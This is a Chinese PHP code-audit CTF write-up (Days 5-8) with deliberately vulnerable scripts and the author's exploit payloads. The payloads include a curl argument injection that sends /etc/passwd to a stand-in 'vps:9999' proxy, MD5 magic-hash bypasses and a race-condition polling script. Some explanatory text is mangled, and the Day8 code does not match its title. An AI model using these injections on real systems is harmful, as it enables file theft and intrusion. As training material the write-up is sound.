PHP程式碼審計Day5-8練習題
文章目錄
- 前言
- Day5 – escapeshellarg與escapeshellcmd使用不當
- Day6 - 正則使用不當導致的路徑穿越問題
- Day7 - parse_str函式缺陷
- Day8 - preg_replace函式之命令執行
前言
改自先知社群-紅日安全-
Day5 – escapeshellarg與escapeshellcmd使用不當
<?php
highlight_file('5.php');
function waf($a){
foreach($a as $key => $value){
if(preg_match('/flag/i',$key)){
exit('are you a hacker');
}
}
}
foreach(array('_POST', '_GET', '_COOKIE' ) as $__R) {
if($$__R) {
foreach($$__R as $__k => $__v) {
if(isset($$__k) && $$__k == $__v) unset($$__k);
}
}
}
if($_POST) { waf($_POST);}
if($_GET) { waf($_GET); }
if($_COOKIE) { waf($_COOKIE);}
if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract ($_GET, EXTR_SKIP);
var_dump($_GET);
echo '<br></br>';
if(isset($_GET['flag'])){
if($_GET['flag'] === $_GET['hongri']){
exit('error');
}
if(md5($_GET['flag'] ) == md5($_GET['hongri'])){
$url = $_GET['url'];
$urlInfo = parse_url($url);
var_dump($urlInfo);
echo '<br></br>';
if(!("http" === strtolower($urlInfo["scheme"]) || "https"===strtolower($urlInfo["scheme"]))){
die( "scheme error!");
}
$url = escapeshellarg($url);
$url = escapeshellcmd($url);
echo $url;
system("curl ".$url);
}
}
?>
解題
第一部分
在10行-13行的一串程式碼
foreach(array('_POST', '_GET', '_COOKIE') as $__R) {
if($$__R) {
foreach($$__R as $__k => $__v) {
if(isset($$__k) && $$__k == $__v) unset($$__k);
}
}
}
分析下邏輯:
- 首先
第1行
迴圈GET,POST,_COOKIE
字串,依次的的賦予到$__R
,第2行
再判斷$$__R
是否存在(eg:_ k,比較鍵名名字的變數的值是否與陣列鍵對應的值相等,若相等則
unset`(摧毀變數)
利用:
- 通過
GET
請求提交flag=test
,再POST
請求提交_GET[flag]=test.這個時候GET陣列中就已經存在GET[flag]=test
.當第1行
迴圈到POST
時,我們傳入的_GET[flag]
到$$__k
中是就為$_GET[flag]
,而這個的值也是test
則就會刪除這個變數.就沒有經過waf
判斷 - 在22-23行這個變數又會被建立
if($_POST) extract($_POST, EXTR_SKIP);
if($_GET) extract($_GET, EXTR_SKIP);
這樣我們提交的_GET[flag]=test
,就被提取成了$_GET[flag]=test
.
加了點程式碼演示一下:
還有一個MD5的判斷,意思就是變數值不一樣,但MD5加密後要相等,利用科學計數法繞過,0e開頭的科學計數的值是相等的,所以找MD5加密後開頭為0e的
payload:
第二部分
- 考察利用
curl
讀取檔案,主要就是利用escapeshellarg
和escapeshellcmd
. - 在
curl
中存在 -F 提交表單的方法,也可以提交檔案。 -F <key=value> 向伺服器POST表單,例如:curl -F "[email protected];type=text/html" url.com
。提交檔案之後,利用代理的方式進行監聽,這樣就可以截獲到檔案了,同時還不受最後的的影響。
示範
http://baidu.com/' -F [email protected]/etc/passwd -x vps:9999
payload
Day6 - 正則使用不當導致的路徑穿越問題
<?php
include 'flag.php';
if ("POST" == $_SERVER['REQUEST_METHOD'])
{
$password = $_POST['password'];
if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password))
{
echo 'Wrong Format';
exit;
}
while (TRUE)
{
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
if (6 > preg_match_all($reg, $password, $arr))
break;
$c = 0;
$ps = array('punct', 'digit', 'upper', 'lower');
foreach ($ps as $pt)
{
if (preg_match("/[[:$pt:]]+/", $password))
$c += 1;
}
if ($c < 3) break;
if ("42" == $password) echo $flag;
else echo 'Wrong password';
exit;
}
}
highlight_file(__FILE__);
?>
PHP對字元類的定義,具體點這裡
[:alnum:] 字母和數字
[:alpha:] 代表任何英文大小寫字元,亦即 A-Z, a-z
[:lower:] 小寫字母
[:upper:] 大寫字母
[:blank:] 水平空白字元(空格和製表符)
[:space:] 所有水平和垂直的空白字元(比[:blank:]包含的範圍廣)
[:cntrl:] 不可列印的控制字元(退格、刪除、警鈴...)
[:digit:] 十進位制數字
[:graph:] 可列印的非空白字元
[:print:] 可列印字元
[:punct:] 標點符號
[:xdigit:] 十六進位制數字
解題
主要考察了PHP正則表示式的字元類的熟練。
第6行
,正則表示式
if (0 >= preg_match('/^[[:graph:]]{12,}/', password))
匹配可列印字元12個及以上,就是password
的長度至少為12
第13-15行
,正則表示式
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
if (6 > preg_match_all($reg, $password, $arr))
break;
連續的符號、數字、大寫、小寫,作為一段,至有六段。比如TEst+-TEst01
,分為TE
,st
,+-
,TE
,st
,01
這六段
第17-23行
,表示為輸入的字串至少含有符號、數字、大寫、小寫中的三種類型
$ps = array('punct', 'digit', 'upper', 'lower');
foreach ($ps as $pt)
{
if (preg_match("/[[:$pt:]]+/", $password))
$c += 1;
}
if ($c < 3) break;
24行
進行了弱比較,利用科學計數法使一長串字元的結果為42
payload
password=42.0e+000000
password=420.00000e-1
Day7 - parse_str函式缺陷
<?php
$a = “hongri”;
$id = $_GET['id'];
@parse_str($id);
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
echo '<a href="uploadsomething.php">flag is here</a>';
}
?>
//uploadsomething.php
<?php
header("Content-type:text/html;charset=utf-8");
$referer = $_SERVER['HTTP_REFERER'];
if(isset($referer)!== false) {
$savepath = "uploads/" . sha1($_SERVER['REMOTE_ADDR']) . "/";
if (!is_dir($savepath)) {
$oldmask = umask(0);
mkdir($savepath, 0777);
umask($oldmask);
}
if ((@$_GET['filename']) && (@$_GET['content'])) {
//$fp = fopen("$savepath".$_GET['filename'], 'w');
$content = 'HRCTF{y0u_n4ed_f4st} by:l1nk3r';
file_put_contents("$savepath" . $_GET['filename'], $content);
$msg = 'Flag is here,come on~ ' . $savepath . htmlspecialchars($_GET['filename']) . "";
usleep(100000);
$content = "Too slow!";
file_put_contents("$savepath" . $_GET['filename'], $content);
}
print <<<EOT
<form action="" method="get">
<div class="form-group">
<label for="exampleInputEmail1">Filename</label>
<input type="text" class="form-control" name="filename" id="exampleInputEmail1" placeholder="Filename">
</div>
<div class="form-group">
<label for="exampleInputPassword1">Content</label>
<input type="text" class="form-control" name="content" id="exampleInputPassword1" placeholder="Contont">
</div>
<button type="submit" class="btn btn-default">Submit</button>
</form>
EOT;
}
else{
echo 'you can not see this page';
}
?>
解題
環境搭建沒成功,原文複製
- 在 index.php
第4行
存在 @parse_str($id); 這個函式不會檢查變數 $id 是否存在,如果通過其他方式傳入資料給變數 $id ,且當前 $id 中資料存在,它將會直接覆蓋掉。而在第6行有一段這樣程式碼。
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO'))
PHP Hash比較存在缺陷 ,它把每一個以”0E”開頭的雜湊值都解釋為0,所以如果兩個不同的密碼經過雜湊以後,其雜湊值都是以”0E”開頭的,那麼PHP將會認為他們相同,都是0。而這裡的 md5(‘QNKCDZO’)
的結果是 0e830400451993494058024219903391 。所以payload為?id=a[0]=s878926199a
。這樣就可以在頁面上回顯。
echo '<a href="uploadsomething.php">flag is here</a>';
- 而這題真正的考察點在這裡。在 uploadsomething.php 的
第3行和第4行
有這樣兩句程式碼如下:
$referer = $_SERVER['HTTP_REFERER'];
if(isset($referer)!== false)
這裡有個refer
判斷,判斷 refer 是否存在,如果有展現上傳頁面,如果沒有,就返回 you can not see this page 。
據我們所知,通過a標籤點選的連結,會自己自動攜帶上refer欄位。然後 攜帶refer 和 不攜帶refer ,返回的結果不一樣。
攜帶refer 的情況:
不攜帶refer 的情況:
- 然後在 uploadsomething.php 的
第13行
和第18行
有這樣程式碼如下:
$content = 'HRCTF{y0u_n4ed_f4st} by:l1nk3r';
file_put_contents("$savepath" . $_GET['filename'], $content);
$msg = 'Flag is here,come on~ ' . $savepath . htmlspecialchars($_GET['filename']) . "";
usleep(100000);
$content = "Too slow!";
file_put_contents("$savepath" . $_GET['filename'], $content);
這裡有一句關鍵就是 usleep(100000); 這題需要在寫入 too slow 之前,訪問之前寫入的檔案,即可獲得flag,這裡就存在時間競爭問題。但是我們看到其實這裡的資料夾路徑是固定寫死的。
直接訪問會返回 too slow
因此這裡的解法是,開Burp的200執行緒,一個不斷髮包
http://127.0.0.1/parse_str/uploadsomething.php?filename=flag&content=111
或指令碼
import requests as r
r1=r.Session()
while (1):
r2=r1.get("http://127.0.0.1/parse_str/uploads/4b84b15bff6ee5796152495a230e45e3d7e947d9/flag")
print r2.text
pass
Day8 - preg_replace函式之命令執行
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
highlight_file(__FILE);
// $hint = "php function getFlag() to get flag";
?>
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>50){
die("Too Long.");
}
if(preg_match("/[A-Za-z0-9_]+/",$code)){
die("Not Allowed.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
highlight_file(__FILE);
// $hint = "php function getFlag() to get flag";
?>
\\flag.php
function getFlag()
{
echo "HRCTF{f1lt3r_var_1s_s0_c00l}";
}
?>